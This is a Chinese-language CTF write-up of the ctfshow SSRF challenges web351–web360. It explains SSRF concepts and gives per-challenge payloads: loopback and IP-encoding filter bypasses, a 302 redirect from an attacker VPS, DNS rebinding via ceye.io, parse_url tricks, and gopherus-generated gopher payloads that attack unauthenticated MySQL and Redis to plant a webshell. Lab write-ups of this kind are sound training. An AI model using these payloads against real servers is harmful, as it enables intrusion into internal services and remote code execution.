可以通过这篇文章来了解一下啥是SSRF ——> https://websec.readthedocs.io/zh/latest/vuln/ssrf.html
(觉得写的不好的话可以自己去网上搜,网上挺多人写的)
1
| 以下内容摘自这篇文章 https://blog.csdn.net/q20010619/article/details/120536552
|
1 2
| SSRF基础 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
|
1 2 3 4 5 6 7 8
| 相关函数和类
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中 readfile():输出一个文件的内容 fsockopen():打开一个网络连接或者一个Unix 套接字连接 curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用 fopen():打开一个文件文件或者 URL PHP原生类SoapClient在触发反序列化时可导致SSRF
|
1 2 3 4 5 6
| 相关协议
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容 dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等 gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell http/s协议:探测内网主机存活
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 利用方式
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
|
web351
题目
ssrf题的关键词就是curl
1 2 3 4
| *# curl_init — 初始化 cURL 会话* *# curl_setopt — 设置一个cURL传输选项* *# curl_exec — 执行 cURL 会话* *# curl_close — 关闭 cURL 会话*
|
这里扫一下目录可以发现存在flag.php这个文件
payload
1 2 3
| post: url=http://127.0.0.1/flag.php 或者使用 file 伪协议去读取文件 post: url=file:///var/www/html/flag.php 查看源码
|
web352
题目
过滤了一下,但是等于没过滤。。。。
payload
1 2 3 4 5
| url=http://localhost/flag.php url=http://127.0.0.1/flag.php url=http://127.0.1/flag.php url=http://127.1/flag.php (转进制的方法也可以 ---> 2进制 16进制 8进制都可以)
|
web353
题目
增加了新过滤
payload
1 2 3 4 5 6 7 8 9 10 11
| 127.0.0.1 十进制整数:url=http://2130706433/flag.php 十六进制:url=http://0x7F.0.0.1/flag.php 八进制:url=http://0177.0.0.1/flag.php 十六进制整数:url=http://0x7F000001/flag.php
else 缺省模式:127.0.0.1写成127.1 CIDR:url=http://127.127.127.127/flag.php url=http://0/flag.php url=http://0.0.0.0/flag.php
|
web354
题目
把1 0 都给过滤掉了。
解法一
使用 http://sudo.cc
这个域名就是指向127.0.0.1
解法二
302跳转 —-> 题目出现parse_url时可以用 (我猜的) 仅供参考
1
| 在php中,302不是错误,而是HTTP响应状态码,意思为“临时重定向”,表示被访问页面因为各种需要被临时跳转到其他页面;可利用header()来实现302跳转,语法“header('Location: 跳转url',true,302)”。
|
就是在自己的vps上搭建一个
1 2
| <?php header("Location:http://127.0.0.1/flag.php");
|
解法三
1 2 3
| 自己去ceye.io注册绑定127.0.0.1然后记得前面加r
url=http://r.xxxzc8.ceye.io/flag.php
|
如果自己的Identifier里有0或者1的话就用不了了。
web355
题目
这里的话长度给了限制,就是长度小于5
这里先了解一下parse_url
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分 数组中可能的键有以下几种: scheme - 如 http host port user pass path query - 在问号 ? 之后 fragment - 在散列符号 # 之后 # 例: <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> # 输出 Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor ) /path
|
payload
1 2
| url=http://0/flag.php url=http://127.1/flag.php
|
web356
题目
这里的话是限制长度到3位了
payload
1 2
| url=http://0/flag.php # 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
|
web357
题目
我们先来分析一下上图中出现的函数的意思
先来看下 gethostbyname 函数
1
| gethostbyname — 返回主机名对应的 IPv4地址
|
filter_var()
1 2 3 4 5 6 7 8 9 10
| # php filter函数 filter_var() 获取一个变量,并进行过滤 filter_var_array() 获取多个变量,并进行过滤 ...... # PHP 过滤器 FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围 FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255) FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334) FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1) FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
|
因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法
DNS rebinding(DNS重新绑定攻击)
攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略
回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP
payload
1 2 3
| url=http://r.自己的域名.ceye.io/flag.php # 注意前边要加上r. # 多次尝试
|
web358
题目
url 字符串要以 http://ctf
开头,show
结尾
这里在讲一遍这个parse_url
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分 数组中可能的键有以下几种: scheme - 如 http host port user pass path query - 在问号 ? 之后 fragment - 在散列符号 # 之后 # 例: <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> # 输出 Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor ) /path
|
就是根据这个函数的特性来获取flag
payload
1 2
| url=http://ctf.@127.0.0.1/flag.php#show url=http://ctf.@127.0.0.1/flag.php?show
|
web359(打无密码的mysql)
题目
点击login抓包发现存在returl这个东西,后面还跟着http网址,所以猜测是ssrf
工具下载地址https://github.com/tarunkant/Gopherus
使用 gopher 协议去打 mysql
用 gopherus 工具生成 payload
使用方法可以自己去看,这里的话不知道什么原因,我python用不了,就直接用下面的语句了
payload
1
| gopherus --exploit mysql
|
记得得把_后面的url编码在进行一次编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次) 然后进行抓包发送,然后在访问2.php进行rce
web360(Redis)
题目
代码其实和前面的常规ssrf题差不多
对redis的介绍 —-> https://www.cnblogs.com/powertoolsteam/p/redis.html
1 2 3 4 5 6 7 8
| 什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
简单说,漏洞的产生条件有以下两点:
redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网 没有设置密码认证(一般为空),可以免密码远程登录redis服务
|
对redis进行操作得用到dict协议 —-> dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
出现这种情况说明存在redis服务。
这里就直接可以利用gopherus工具,这个工具可以生成多种payload
这道题就直接生成payload拿来打就行了。
然后将_后面的语句进行url编码就行了,post后,访问shell.php,然后进行rce就行了。
出现这种情况就是shell写入成功,然后进行rce就行了。
这篇文章的话写的很好在结尾的话给了一些补充 —> https://blog.csdn.net/q20010619/article/details/120536552
可以自己去参考一下
这篇文章的话概括了几乎全部的SSRF攻击内容 ——-> https://www.freebuf.com/articles/web/260806.html